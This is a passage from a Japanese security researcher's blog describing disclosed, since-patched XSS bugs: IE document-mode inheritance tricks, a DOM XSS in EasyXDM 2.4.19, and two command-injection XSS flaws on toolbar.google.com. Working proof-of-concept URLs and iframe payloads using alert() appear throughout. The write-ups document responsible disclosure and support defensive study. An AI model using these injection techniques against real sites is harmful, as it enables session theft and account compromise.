src="//speakerdeck.com/assets/embed.js"></script> <br /> ドキュメントモードを変えたページからフレームに埋め込めば、フレーム中のページのドキュメントモードも変更できるというテクニックでしたね。 というわけで、以下のようにIE10モードのページからフレームに埋め込めば、 <br /> <blockquote class="tr_bq"> &lt;meta http-equiv="x-ua-compatible" content="IE=10"&gt;<br /> &lt;iframe src="http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)"&gt;&lt;/iframe&gt;</blockquote> アラートが動作するはずです!<br /> ちなみに、<code>behavior</code>に指定したURLが一度キャッシュされると、<code>onreadystatechange</code>イベントが発火しなくなるようなので注意してください。一度動いたのに動かなくなったという人は、このURLの文字列を適当な別のものに変えてみると、また動くようになると思います。<br /> <br /> 以上、IEでhiddenなinput要素でユーザー操作を使わずにXSSする手法を紹介しました。<br /> もう1つ、Firefoxで、ユーザー操作不要の非常にトリッキーなhiddenでのXSS手法を知っています。これは次回の(?)ブログで紹介したいと思います。お楽しみに!Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-4945527962080479542016-04-08T13:11:00.001+09:002016-04-17T02:08:39.354+09:00EasyXDM 2.4.20で修正されたXSS<b>Update: </b>English version is here:&nbsp;<a href="http://mksben.l0.cm/2016/04/easyxdm-xss-docmode-inheritance.html">http://mksben.l0.cm/2016/04/easyxdm-xss-docmode-inheritance.html</a><br /> ------------------<br /> <br /> EasyXDM というクロスドメインでのあれこれを便利にしてくれるライブラリの 2.4.20 で、自分の報告したXSS脆弱性が修正されています。使っている人はアップデートしましょう。<br /> <br /> Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub<br /> <a href="https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20">https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20</a><br /> <br /> 以前にも脆弱性が指摘されていますが、それとは別の問題です。<br /> <br /> <a href="http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html">http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html</a><br /> <a href="http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html">http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html</a><br /> <a href="http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html">http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html</a><br /> <br /> <br /> これ以下は技術的な説明です。<br /> このバグはDOM based XSSなのですが、再現方法が少し変わっているので紹介します。<br /> <br /> このXSSはIEでのみ動作します。おまけにドキュメントモードがIE7モード以下でないと起こりません。なぜかというと、XSSのある場所が、バグった挙動があると判断されたブラウザだけが通過する箇所にあり、その条件を満たすのが、IE7モード以下だけだからです。<br /> <br /> 次の<code>createElement()</code>の箇所でXSSが起きます。<br /> <br /> <a href="https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509">https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509</a><br /> <blockquote class="tr_bq"> &nbsp; &nbsp; if (HAS_NAME_PROPERTY_BUG) {<br /> &nbsp; &nbsp; &nbsp; &nbsp; frame = document.createElement("&lt;iframe name=\"" + config.props.name + "\"/&gt;");<br /> &nbsp; &nbsp; }</blockquote> <br /> このif文の条件の<code>HAS_NAME_PROPERTY_BUG</code>という値が、バグった挙動があると判定されたブラウザだけ<code>true</code>になります。設定しているのは、以下の部分です。<br /> <br /> <a href="https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482">https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482</a><br /> <blockquote class="tr_bq"> function testForNamePropertyBug(){<br /> &nbsp; &nbsp; var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));<br /> &nbsp; &nbsp; input.name = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues<br /> &nbsp; &nbsp; HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];<br /> &nbsp; &nbsp; document.body.removeChild(form);<br /> &nbsp; &nbsp; // #ifdef debug<br /> &nbsp; &nbsp; _trace("HAS_NAME_PROPERTY_BUG: " + HAS_NAME_PROPERTY_BUG);<br /> &nbsp; &nbsp; // #endif<br /> }</blockquote> formと名前付きのinputを作って、名前からinput要素にアクセスできるかテストしています。どうやら、IE7モード以下では、動的に作った名前付きの要素に、名前経由でアクセスできないバグがあるらしく、その回避策として、このようなコードで一度検証を行っているようです。<br /> <br /> このテスト部分だけを実行できるページを以下に用意しました。IEでアクセスすることで、<code>HAS_NAME_PROPERTY_BUG</code>の値が<code>true</code>になることを確認できます。<br /> <br /> <a href="http://vulnerabledoma.in/easyxdm/name_property_test.html">http://vulnerabledoma.in/easyxdm/name_property_test.html</a><br /> <br /> それでは、実際に脆弱なEasyXDMで、XSSが起きることを確認してみます。以下にIEでアクセスして、IEのF12開発者ツール( F12 → エミュレーション )から、ドキュメントモードをIE7以下にしてみてください。アラートが出るはずです。<br /> <br /> <a href="http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&amp;xdm_c=%22onload%3dalert(document.domain)//&amp;xdm_p=0">http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&amp;xdm_c=%22onload%3dalert(document.domain)//&amp;xdm_p=0</a><br /> <br /> これで、IE7モード以下でXSSが可能なことがわかりました。しかし、IE7モード以下でEasyXDMを利用しないとXSSが起こらないのでは、攻撃できる条件がかなり限られてしまいます。<br /> <br /> そこで、最近公開した資料にも書いた、「ドキュメントモードの継承」というテクニックを使います。<br /> <br /> <script async="" class="speakerdeck-embed" data-id="d6d5cd3379a2458d90f8ac5b98c7d202" data-ratio="1.33333333333333" data-slide="37" src="//speakerdeck.com/assets/embed.js"></script> ドキュメントモードを変更した親のフレームに埋め込むと、フレーム内のドキュメントモードも変更されるというテクニックでした。これを使ってみましょう。<br /> <br /> <a href="http://l0.cm/easyxdm/poc.html">http://l0.cm/easyxdm/poc.html</a><br /> <blockquote class="tr_bq"> &lt;meta http-equiv="x-ua-compatible" content="IE=5"&gt;<br /> &lt;iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&amp;xdm_c=%22onload%3dalert(document.domain)//&amp;xdm_p=0"&gt;&lt;/iframe&gt;<br /> &lt;script&gt;document.write("document.documentMode: "+document.documentMode)&lt;/script&gt;</blockquote> どうでしょうか?まだアラートは動かないはずです。親はIE=5指定により、IE5モードで動いているはずなのに、フレームの中のドキュメントモードは8までしか下がっていません。これは、フレーム内のページの先頭に<code>&lt;!DOCTYPE html&gt;</code>があるからです。この宣言がある場合、IE11では、フレームに埋め込んでも降格されるのは8までが限度になっています。XSSを成功させるにはなんとか7まで下げなければいけません。<br /> <br /> ご安心ください。実は、さらに強力な継承方法があります。以下にIE11でアクセスしてみてください。<br /> <br /> <a href="http://l0.cm/easyxdm/poc.eml">http://l0.cm/easyxdm/poc.eml</a><br /> <br /> どうですか?今回はアラートが出たと思います。1つ前のページとの違いは、このページは、text/html ではなく、<code>Content-Type: message/rfc822</code>形式のページだということです。スライド中でも触れたのですが、IE11/Edgeは、今もmessage/rfc822形式のドキュメントをブラウザ内で開くことができます。(<code>mhtml:</code>という文字列はなくても開けます。)<br /> <br /> <script async="" class="speakerdeck-embed" data-id="d6d5cd3379a2458d90f8ac5b98c7d202" data-ratio="1.33333333333333" data-slide="44" src="//speakerdeck.com/assets/embed.js"></script> message/rfc822形式のページは、デフォルトでIE5モードで表示されるようです。そしてどうやら、そこに埋め込んだフレームに対するドキュメントモードの継承の力が通常のtext/htmlよりも強いようなのです!例え、先頭に<code>&lt;!DOCTYPE html&gt;</code>があろうとも7までは降格させることができます。実際に、フレーム内のドキュメントモードをみると7まで下がっており、このおかげで、脆弱な箇所への到達に成功したことがわかります。<br /> <br /> この手法を使えば、EasyXDMのXSSのように、IE7のドキュメントモードでしか再現しない問題を、脆弱性のあるページのドキュメントモードにかかわらず、また、ユーザによるドキュメントモードの切り替え操作なしに、攻撃可能な問題に発展させることができる、という訳です。<br /> <br /> ちなみに、もう1つ強力な継承が起きる場所があります。それは、CVリスト(互換表示リスト)でIE7のドキュメントモードで表示指定しているサイトのフレームです。<br /> CVリストはWindowsの以下の場所に保存されています。ここにリストされているドメインは、リストで指定したドキュメントモードで表示されるようになります。<br /> <br /> %LOCALAPPDATA%\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml<br /> <br /> ここにリストしてもらうには、面倒な手続きが必要ですが、XSSのためにそんなことをする必要はありません。なぜなら、<b>既にここにリストされているドメインのXSSを探してきてそのページ内にフレームを作ればいいだけだからです。</b>めちゃくちゃなことを言っているように聞こえるかもしれませんが、その方がMicrosoftを騙して手続きするよりもはるかに簡単で現実的です。<br /> <br /> 実験してみましょう。CVリストに載っている以下のMicrosoftのドメインのページを開いて(※Under Construction と表示されますがそれでOKです )、<br /> <br /> <a href="http://epim.partners.extranet.microsoft.com/">http://epim.partners.extranet.microsoft.com/</a><br /> <blockquote class="tr_bq"> &lt;domain docMode="EmulateIE7" versionVector="7" uaString="7"&gt;epim.partners.extranet.microsoft.com&lt;/domain&gt;</blockquote> F12開発者ツールのコンソール上で、以下を実行してみてください。フレーム内のページのドキュメントモードは7まで降格され、message/rfc822の時と同様にEasyXDMの脆弱箇所に到達し、アラートが出ると思います。<br /> <blockquote class="tr_bq"> document.write('&lt;iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&amp;xdm_c=%22onload%3dalert(document.domain)//&amp;xdm_p=0"&gt;&lt;/iframe&gt;')</blockquote> message/rfc822の強い継承に気付くまではこの方法で攻撃可能なことを証明していました。今となってはmessage/rfc822の方が簡単なので、あえてこっちを使う理由はありません。<br /> <br /> 以上、EasyXDMのXSSの技術的な部分を説明しました。<br /> <br /> 今月は余力があれば(2月、3月書いてない分)もう1つか2つ記事を書く予定です。 Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-47738002936436355892016-01-29T18:43:00.003+09:002018-05-26T16:21:31.498+09:00Google Toolbarのコマンドを利用したXSS2015年6月頃にみつけた、toolbar.google.com の、少し変わったXSSを2つ紹介します。<br /> <br /> The English version is here:&nbsp;<a href="http://mksben.l0.cm/2016/01/google-toolbar-xss.html">http://mksben.l0.cm/2016/01/google-toolbar-xss.html</a><br /> <br /> <h3>何が変わっているか</h3> <br /> このXSSは、<a href="http://www.google.com/intl/ja/toolbar/ie/index.html">Google Toolbar</a>がインストールされているIEでしか動作しません。Google Toolbarがインストールされていると、toolbar.google.com 上に用意されたUIから、ツールバーを操作するコマンドを実行できるようになります。このコマンドを利用することでXSSに繋げるという点が、よくあるものとは異なります。<br /> <br /> <h3>どのようにコマンドを実行しているか</h3> <br /> toolbar.google.com 上の次のページをみると、こんなコードを発見できます。<br /> <br /> <a href="http://toolbar.google.com/fixmenu">http://toolbar.google.com/fixmenu</a><br /> <blockquote class="tr_bq"> &lt;script language="JavaScript"&gt; &lt;!--<br /> function command(s) {<br /> window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;<br /> }<br /> function fixMenu() {<br /> command('&amp;fixmenu=1');<br /> alert(document.all['restartmessage'].innerText)<br /> }<br /> // --&gt;<br /> &lt;/script&gt;<br /> (省略)....<br /> &lt;input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu"&gt;</blockquote> このページでは、ツールバーの設定をリセットできるようになっています。<br /> <br /> ページ内のボタンを押すと、<code>fixmenu()</code>→<code>command('&amp;fixmenu=1')</code>と関数が呼ばれます。<code>command()</code>関数では、<code>window.location="http://toolbar.google.com/command?key="...</code>に対してナビゲーションしようとしているようにみえますが、実はこれがコマンド実行操作です。Google Toolbarがインストールされている場合は、http://toolbar.google.com/command に対するナビゲーション操作が、ページ遷移ではなく、コマンドの実行と解釈されるようになります。 このURLにつけられたクエリが実行したいコマンド操作に対応しています。例えば、このページでできるツールバーのリセット操作は <code>fixmenu=1</code>に対応しています。<br /> <br /> <code>'...?key=' + document.googleToken</code>の部分は、外部から勝手にコマンドを実行させないためのCSRFトークンの役割をしています。<code>document.googleToken</code>には、Google Toolbar が設定したランダムな値が入ります。この値が正しくないと、コマンドは実行されません。この値は、toolbar.google.com 上のみで参照可能です。<br /> <br /> ざっと、こんな作りになっています。<br /> こういう特殊な実装部分にはいかにも脆弱性がありそうです。なんだかおもしろそうなので、時は2015年ですが、Google Toolbarをインストールして詳しくみてみることにしました。<br /> <br /> <h3>コマンドの調査</h3> <br /> まずは、どんなコマンドがあるか、toolbar.google.com 上に書かれたコマンドをみてまわったり、Toolbarのバイナリを覗いてみたりしました。<br /> 見ていく中で、<code>navigateto</code>というコマンドがあることがわかりました。<br /> <br /> このコマンドは、名前の通り、ナビゲーションをするためのコマンドでした。toolbar.google.com 上で開いたコンソールで次を実行すると、example.com に対してナビゲーションが起きました。(※なお、最新のGoogle Toolbarではこのコマンドは無くなっているようです。)<br /> <blockquote class="tr_bq"> location="http://toolbar.google.com/command?key="+document.googleToken+"&amp;navigateto=<b>http://example.com/</b>"</blockquote> ナビゲーションとわかれば、httpなURL以外でもナビゲーションできるか試してみたくなります。<br /> この部分を<code>javascript:</code>のURLに変えて試してみます。<br /> <blockquote class="tr_bq"> location="http://toolbar.google.com/command?key="+document.googleToken+"&amp;navigateto=<b>javascript:alert(1)</b>"</blockquote> すると、アラートが実行されました!おお!でも、まだ喜ぶところではありません。<br /> なぜなら、<code>document.googleToken</code>の値が外からはわからないため、このコマンドを誰かに罠リンクを踏ませて実行させるようなことはできないからです。逆に言えば、<code>document.googleToken</code>の値をどうにかして取得できれば、スクリプトを実行させられるかもしれません。<br /> <br /> <h3>XSS脆弱性の発見 その1</h3> <br /> <div> なんとかならないかと、toolbar.google.com のページをみてまわっていると、次のようなページをみつけました。<br /> <br /> <a href="http://toolbar.google.com/dc/dcuninstall.html">http://toolbar.google.com/dc/dcuninstall.html</a> (現在はページが無くなっています。&nbsp;<a href="https://web.archive.org/web/20110928034724/http://toolbar.google.com/dc/dcuninstall.html">WebArchive</a>&nbsp;でみれます。)<br /> <blockquote class="tr_bq"> &lt;script language="JavaScript"&gt; &lt;!--<br /> &nbsp; function command(s) {<br /> &nbsp; &nbsp; window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;<br /> &nbsp; }<br /> &nbsp; function OnYes() {<br /> &nbsp; &nbsp; var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);<br /> &nbsp; &nbsp; command("&amp;uninstall-dc=anyway&amp;DcClientMenu=false&amp;EnableDC=false&amp;navigateto=" + path + "dcuninstalled.html");<br /> // &nbsp; &nbsp;window.location=path + "dcuninstallfailed.html";<br /> &nbsp; }<br /> // --&gt;<br /> &lt;/script&gt;<br /> ...<br /> &nbsp; &nbsp; &nbsp; &lt;script language="JavaScript"&gt; &lt;!--<br /> document.write('&lt;button default class=button name=yes ');<br /> document.write('onclick="OnYes(); "&gt;Uninstall Google Compute&lt;/button&gt;');<br /> // --&gt;<br /> &lt;/script&gt;&nbsp;</blockquote> 最初の例と同様に、ボタンを押すと、コマンドが実行されるようなページです。<code>OnYes()</code>からの<code>command("&amp;uninstall-dc=anyway&amp;DcClientMenu=false&amp;EnableDC=false&amp;navigateto=" + path + "dcuninstalled.html");</code>で、コマンドの実行をしています。ここでそうしているように、&amp; で繋げると複数のコマンドを一度に指定できるみたいです。<br /> コマンドの詳細はさておき、注目すべきはここに含まれている<code>path</code>という変数です。<code>path</code>は直前で定義されています。<br /> <blockquote class="tr_bq"> &nbsp; var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);</blockquote> <code>location.href</code>からコマンドに含む文字列を受け取っている様子です。詳しくみると、URLの先頭から、 <code>document.location.href.lastIndexOf("/") + 1</code>で、URLの最後に出てくるスラッシュまでを<code>substring()</code>で切り取っています。このコードを書いた人が取り出したいのは、以下の太字部分の、ファイル名をのぞいたパスまででしょう。<br /> <br /> <b>https://toolbar.google.com/dc/</b>dcuninstall.html<br /> <br /> でも、この切り出し方は雑すぎます。余分なスラッシュをもっと後ろに入れられたら予想外のURLを切り取ることになります。<br /> <br /> <b>https://toolbar.google.com/dc/dcuninstall.html?xxx/</b>yyy<br /> <br /> この切り取った文字列は<code>navigateto=</code>に連結されるので、ナビゲーションに使いたいようです。<br /> ここでは<code>location.href</code>の先頭から切り取っているため、いくら切り出すURLを間違えているとはいえ、一見、XSSどころかオープンリダイレクトバグにすらならないようにも思えます。<br /> <br /> ところが、次のようなURLを与えたらどうでしょう? &amp;がポイントです。<br /> <br /> <b>https://toolbar.google.com/dc/dcuninstall.html?&amp;navigateto=javascript:alert(1)//</b><br /> <div> <br /></div> <div> スラッシュはURL全体の一番最後にあるので、URL全てが切り取られることになります。</div> <div> このURLが<code>path</code>という変数に入り、コマンドとして実行されるときの値をみてみましょう。<br /> <br /></div> <div> http://toolbar.google.com/command?key=[TOKEN]&amp;uninstall-dc=anyway&amp;DcClientMenu=false&amp;EnableDC=false&amp;navigateto=<b>https://toolbar.google.com/dc/dcuninstall.html?<span style="color: red;">&amp;</span>navigateto=javascript:alert(1)//</b>dcuninstalled.html</div> <br /> <br /> URL に &amp; を挿入したことで、ページ側が指定した<code>navigateto=</code>に渡るURLは挿入した&amp;の手前で区切られることになります。その後ろに、自身でもう1つ<code>navigateto=</code>を追加します。すると、<code>navigateto</code>のコマンドが2つあることになりますが、同じコマンドが複数あるときは、一番後ろにあるコマンドが実行されるようになっているようです。よって、発生する<code>navigateto</code>によるナビゲーションは、javascript:alert(1)//dcuninstalled.html に対するものになります。これで、アラートが実行されます!<br /> <br /> このように、コマンドにユーザー入力値を不用心に引き渡している部分を利用することで、<code>document.googleToken</code>を知らずとも、XSSに繋げることに成功しました。<br /> <br /> <h3>XSS脆弱性の発見 その2</h3> <br /> さらに、同じようなパターンでXSSできないか toolbar.google.com を漁っていると、また面白いページをみつけました。<br /> <br /> <a href="https://toolbar.google.com/buttons/edit/index.html">https://toolbar.google.com/buttons/edit/index.html</a><br /> <div> <blockquote class="tr_bq"> &lt;script language=JavaScript&gt;<br /> &lt;!--<br /> document.custom_button_uid = "";<br /> function command(s) {<br /> &nbsp; window.location = "http://toolbar.google.com/command?key=" +<br /> &nbsp; &nbsp; &nbsp; document.googleToken + s;<br /> }<br /> <br /> function Load() {<br /> &nbsp; var url = window.document.URL.toString();<br /> &nbsp; var url_pieces = url.split("?");<br /> &nbsp; if (url_pieces.length &gt; 1) {<br /> &nbsp; &nbsp; var params = url_pieces[1].split("&amp;");<br /> &nbsp; &nbsp; var i = 0;<br /> &nbsp; &nbsp; for (i = 0; i &lt; params.length; i++) {<br /> &nbsp; &nbsp; &nbsp; param_pieces = params[i].split("=");<br /> &nbsp; &nbsp; &nbsp; if (param_pieces.length == 2 &amp;&amp;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; param_pieces[0] == "custom_button_uri" &amp;&amp;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; param_pieces[1].length &gt; 0) {<br /> &nbsp; &nbsp; &nbsp; &nbsp; document.custom_button_uid = unescape(param_pieces[1]);<br /> &nbsp; &nbsp; &nbsp; }<br /> &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; <br /> &nbsp; }<br /> &nbsp; if (document.custom_button_uid != "") {<br /> &nbsp; &nbsp; action.innerHTML = document.forms[0].edit_mode_title.value;<br /> &nbsp; &nbsp; command("&amp;custom-button-load=" + document.custom_button_uid);<br /> &nbsp; }<br /> }<br /> ....<br /> // --&gt;<br /> &lt;/script&gt;<br /> &lt;body onload="Load()"&gt;</blockquote> </div> 順に見ていきます。<br /> ページを開くと、<code>body onload</code>で、<code>Load()</code>関数が実行されます。<br /> <blockquote class="tr_bq"> &lt;body onload="Load()"&gt;&nbsp;</blockquote> <code>Load()</code>関数では、<code>document.URL</code>から自身のURLを<code>url</code>変数に入れ、<br /> <blockquote class="tr_bq"> var url = window.document.URL.toString();</blockquote> クエリを &amp; で分解し、さらに = で分解して、パラメータ名と値のペアを取り出しています。<br /> ここでは、太字部分にあるように<code>custom_button_uri</code>というパラメータを探しています。パラメータがあれば、その値を<code>document.custom_button_uid</code>という変数に代入するようになっています。<br /> <blockquote class="tr_bq"> &nbsp; var url_pieces = url.split("?");<br /> &nbsp; if (url_pieces.length &gt; 1) {<br /> &nbsp; &nbsp; var params = url_pieces[1].split("&amp;");<br /> &nbsp; &nbsp; var i = 0;<br /> &nbsp; &nbsp; for (i = 0; i &lt; params.length; i++) {<br /> &nbsp; &nbsp; &nbsp; param_pieces = params[i].split("=");<br /> &nbsp; &nbsp; &nbsp; if (param_pieces.length == 2 &amp;&amp;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <b>param_pieces[0] == "custom_button_uri"</b> &amp;&amp;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; param_pieces[1].length &gt; 0) {<br /> &nbsp; &nbsp; &nbsp; &nbsp; document.custom_button_uid = unescape(param_pieces[1]);<br /> &nbsp; &nbsp; &nbsp; }<br /> &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; <br /> &nbsp; }</blockquote> <br /> ここで設定された、<code>document.custom_button_uid</code>はこのすぐ後で、コマンド実行関数へと引き渡されます。<br /> <blockquote class="tr_bq"> &nbsp; if (document.custom_button_uid != "") {<br /> &nbsp; &nbsp; action.innerHTML = document.forms[0].edit_mode_title.value;<br /> &nbsp; &nbsp; command("&amp;custom-button-load=" +<b> document.custom_button_uid</b>);<br /> &nbsp; }</blockquote> 少なくとも、ユーザー入力値が<code>custom_button_uri</code>というクエリを介してコマンド文字列として渡っているということです。危なっかしいかんじがしますが、&amp;ごとにクエリを分解しているため、1つ目のXSSで示したような、単純に&amp;で追加のコマンドを紛れ込ますような手は使えません。<br /> <br /> XSSは無理かと思われましたが、もう一度、<code>document.custom_button_uid</code>を設定しているところをよくみてみると、<br /> <blockquote class="tr_bq"> document.custom_button_uid =&nbsp;<b>unescape(</b>param_pieces[1]<b>)</b>;</blockquote> <div> なんと都合がいいことに、<code>custom_button_uri</code>の値を<code>unescape</code>関数にかけているではありませんか。ということは、発見されると分解されてしまう &amp; と = を以下のようにエンコードして<code>custom_button_uri</code>に渡せば、</div> <br /> https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=<b>%26navigateto%3Djavascript:alert(document.domain)</b><br /> <br /> <code>%26</code>が<code>&amp;</code>、<code>%3D</code>が<code>=</code>にunescapeされ、最終的に実行されるコマンドは次のような、<code>navigateto=</code>を含むものになります。<br /> <br /> http://toolbar.google.com/command?key=[TOKEN]&amp;custom-button-load=&amp;navigateto=<b>javascript:alert(document.domain)</b><br /> <br /> ドーン!<br /> <br /> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim9L9eScext-_8nCfQsuxkcW7FnR_sCBV2ow6YHEx3_8hyroeGH_GQ-g2Ni8bRKB0_3LEUGhlb9iaM5Xx7b71lE0WFbOSE-w1-Dvy3kYuvVonBQidhwzLwCng7UNbDJTnnbZlA2z1wwjI/s1600/toolbar.google.com_xss.png" imageanchor="1"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim9L9eScext-_8nCfQsuxkcW7FnR_sCBV2ow6YHEx3_8hyroeGH_GQ-g2Ni8bRKB0_3LEUGhlb9iaM5Xx7b71lE0WFbOSE-w1-Dvy3kYuvVonBQidhwzLwCng7UNbDJTnnbZlA2z1wwjI/s640/toolbar.google.com_xss.png" width="640" /></a><br /> <br /> <h3>おわりに</h3> <br /> この2件の問題は<a href="https://www.google.com/about/appsecurity/reward-program/">Google VRP</a>を介して報告し、 $3133.7 × 2 の報奨金を獲得しました。<br /> 文書化されていないコマンドの動作を把握するのは大変でしたが、古い技術にひっそりと残っている脆弱性を暴けたときの喜びはひとしおでした。<br /> 古い技術とはいえ、特権が与えられた機能の実装が脆弱性に繋がってしまうことは、最近<a href="http://internet.watch.impress.co.jp/docs/news/20160115_739120.html">トレンドマイクロのパスワードマネージャ</a>でもあったように、今の時代の技術にも潜んでいる、今後も注意を払う必要がある普遍の部分だと思います。<br /> <br /> 最後に、この時期に毎年紹介しているGoogleからのクリスマスプレゼント、今年も頂いたので紹介したいと思います。(以前いただいたものはこちら:&nbsp;<a href="http://masatokinugawa.l0.cm/2012/02/googlechromebook.html">Chromebook</a>、<a href="http://masatokinugawa.l0.cm/2012/12/google-nexus10.html">Nexus 10</a>、<a href="http://masatokinugawa.l0.cm/2014/01/google-nexus5.html">Nexus 5</a>、<a href="http://masatokinugawa.l0.cm/2015/01/google-moto360.html">Moto 360</a>&nbsp;)<br /> <br /> Googleのロゴ入りの<a href="https://inversepath.com/usbarmory">USB Armory</a> というガジェットと、Bug Bountopoly(バグハンター版のモノポリー?!)、Googleセキュリティチームからのポストカードです。<br /> <br /> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzCyCl-z6ClVYiRNON8V6uxfpm9TVVpHOYkU_Ob2XsfyrLqKIsTIEURIS87__SY0XPpOz9Y0o677sf1cVay-euFo_RNdnaAichb6zJwCNyLFCXzL1twF-8R5pJMuyEquKlpgyfS6cYepE/s1600/vrp.jpg" imageanchor="1"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzCyCl-z6ClVYiRNON8V6uxfpm9TVVpHOYkU_Ob2XsfyrLqKIsTIEURIS87__SY0XPpOz9Y0o677sf1cVay-euFo_RNdnaAichb6zJwCNyLFCXzL1twF-8R5pJMuyEquKlpgyfS6cYepE/s640/vrp.jpg" width="640" /></a><br /> <br /> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8QuIAsQBs8Ox-NzLBsZp8qRx7RWTMO-FKgj9MOSCHh0Gc6QX8ir3FPyVGaC493cBgVZFRYfGCemJg77zjxQDkVqxHj6U4YsY7ZYG3Y9G1P1PzyyO_EA9Hrjv8IMgd9y7iSWiLigcvYEo/s1600/bbt.png" imageanchor="1"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8QuIAsQBs8Ox-NzLBsZp8qRx7RWTMO-FKgj9MOSCHh0Gc6QX8ir3FPyVGaC493cBgVZFRYfGCemJg77zjxQDkVqxHj6U4YsY7ZYG3Y9G1P1PzyyO_EA9Hrjv8IMgd9y7iSWiLigcvYEo/s640/bbt.png" width="640" /></a><br /> <br /> 日本語のメッセージと&nbsp;<a href="http://www.slideshare.net/codeblue_jp/cb14-masato-kinugawaja">バグハンターのイラスト</a>&nbsp;をかいてくれたのは、<a href="https://twitter.com/kinugawamasato/status/630636231492112385"> 夏に日本のGoogleオフィスでお会いした</a>セキュリティチームのStephenさんです。掲載許可をもらったので載せます。かわいい!<br /> <br /> 今年もXSS送りできるよう頑張ります!</div> Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-25665742146763136512015-12-17T03:14:00.000+09:002016-02-07T21:13:43.900+09:00IE/EdgeのXSSフィルターを利用したXSSEnglish version:&nbsp;<a href="http://mksben.l0.cm/2015/12/xxn.html">http://mksben.l0.cm/2015/12/xxn.html</a><br /> ------------------------------------------------<br /> 2015年12月のMicrosoftの月例アップデートで修正された、Internet ExplorerとEdgeのXSSフィルターに存在した問題(CVE-2015-6144 および CVE-2015-6176)について書きます。<br /> <br /> 2015 年 12 月のマイクロソフト セキュリティ情報の概要<br /> <a href="https://technet.microsoft.com/ja-jp/library/security/ms15-dec.aspx">https://technet.microsoft.com/ja-jp/library/security/ms15-dec.aspx</a><br /> <br /> 修正された問題は、2015年10月に行われたセキュリティカンファレンスの<a href="http://codeblue.jp/2015/contents/speakers.html#speaker-kinugawa">CODE BLUE</a>で詳細を伏せて発表した、IE/EdgeのXSSフィルターの動作を利用してXSS攻撃する手法の一部です。「一部」と書いたように、今回のパッチでは、報告した問題の全てが修正された訳ではありませんでした。当初、発表するつもりで作った、攻撃手法の詳細も含めたスライドを、未修正の部分を伏せて以下で公開します。<br /> <br /> <iframe allowfullscreen="" frameborder="0" height="485" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/IzoDwrVtI9hc4k" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="595"> </iframe> <br /> <div style="margin-bottom: 5px;"> <strong> <a href="https://www.slideshare.net/masatokinugawa/xxn-ja" target="_blank" title="X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~">X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~</a> </strong> from <strong><a href="https://www.slideshare.net/masatokinugawa" target="_blank">Masato Kinugawa</a></strong> </div> <br /> また、以下で3つの手法のPoCを公開しています。修正され次第、他のPoCも公開します。<br /> <br /> <a href="http://l0.cm/xxn/" style="font-size: 30px;">http://l0.cm/xxn/</a><br /> <br /> 詳しい原理等については資料を見てもらうとして、この記事では、ざっくりと手法に触れながら、今回施された修正方法に言及したいと思います。<br /> <b><br /></b> <b>1. style属性の遮断を悪用するパターン</b><br /> <br /> 次のような、style属性の追加によるXSSの遮断を、<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a 